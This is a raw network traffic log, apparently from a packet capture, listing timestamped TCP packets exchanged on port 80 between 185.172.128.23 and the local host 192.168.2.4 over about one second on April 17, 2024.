Apr 17, 2024 06:57:09.575505018 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575512886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575527906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575536013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575545073 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575552940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575561047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575568914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575896978 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.779520035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779542923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779558897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779576063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779591084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779607058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779604912 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.779604912 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.779622078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779638052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779653072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779669046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779675007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.779675007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.779685020 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779701948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779701948 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.779717922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779735088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779746056 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.779752970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779764891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.779769897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779788017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779804945 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779804945 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.779822111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779844046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.779874086 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.779927015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779948950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779966116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779978991 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.779984951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.779994965 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780003071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780009031 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.780011892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780028105 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780038118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780046940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780055046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780064106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780071974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780087948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780087948 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.780097961 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780126095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780133009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.780143976 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780159950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780163050 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.780179024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780184031 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.780195951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780214071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.780221939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.780245066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.780268908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.985364914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985394955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985435009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985451937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985465050 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.985471964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985466003 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.985491037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985507011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985526085 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985527039 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.985543013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985548019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.985568047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.985591888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.985614061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985630989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985646963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985663891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985667944 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.985680103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985693932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.985723019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.985785007 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985836983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.985881090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985898972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985914946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985934019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.985934973 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986005068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986025095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986040115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986043930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986044884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986057043 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986067057 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986077070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986093044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986104965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986109972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986128092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986129045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986145020 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986161947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986165047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986182928 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986206055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986219883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986223936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986239910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986255884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986265898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986272097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986289024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986299992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986304998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986321926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986334085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986339092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986354113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986356020 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986372948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986390114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986394882 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986429930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986445904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986510992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986529112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986543894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986562014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986565113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986578941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986586094 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986597061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986613989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986625910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986630917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986644983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986649036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986665964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986681938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986682892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986699104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986713886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986721992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986730099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986742020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986747026 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986763000 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986763000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986780882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986797094 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986813068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986818075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986828089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986844063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986845970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986864090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986869097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986881971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986886978 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986903906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986920118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986922979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986936092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986953020 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986959934 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986970901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.986979961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.986988068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.987003088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.987004042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.987021923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.987040043 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.987042904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.987056971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.987075090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.987076998 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.987093925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.987102985 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.987111092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.987121105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.987128973 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.987145901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.987163067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.987163067 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.987195969 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.987220049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.188747883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.188781977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.188798904 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.188816071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.188859940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.188926935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.188926935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.188945055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.188961029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.188978910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.188982010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.188997030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189002991 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189014912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189024925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189032078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189049006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189049959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189065933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189070940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189083099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189091921 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189100027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189116001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189126015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189132929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189142942 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189152002 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189167976 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189169884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189186096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189187050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189203024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189218998 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189218998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189235926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189238071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189251900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189258099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189269066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189275980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189285040 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189297915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189301968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189318895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189318895 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189336061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189348936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189353943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189367056 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189371109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189388990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189389944 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189404964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189423084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189428091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189439058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189446926 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189455032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189462900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189471960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189486027 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189491034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189507961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189507961 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189526081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189543009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189543009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189558983 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189563036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189574957 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189584017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189591885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189603090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189610004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189625025 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189626932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189644098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189660072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189660072 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189676046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189680099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189692974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189699888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189708948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189723969 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189726114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189743042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189743996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189759016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189776897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189779043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189793110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189799070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189809084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189819098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189827919 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189837933 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189843893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189860106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189862013 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189877987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189889908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189894915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189908028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189913034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189934969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.189958096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189958096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.189982891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190234900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190252066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190282106 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190299034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190324068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190367937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190373898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190385103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190402031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190417051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190418005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190433979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190435886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190450907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190466881 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190469980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190484047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190490007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190502882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190506935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190520048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190540075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190560102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190565109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190577984 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190582991 CEST	80	49730	185.172.128.23	192.168.2.4
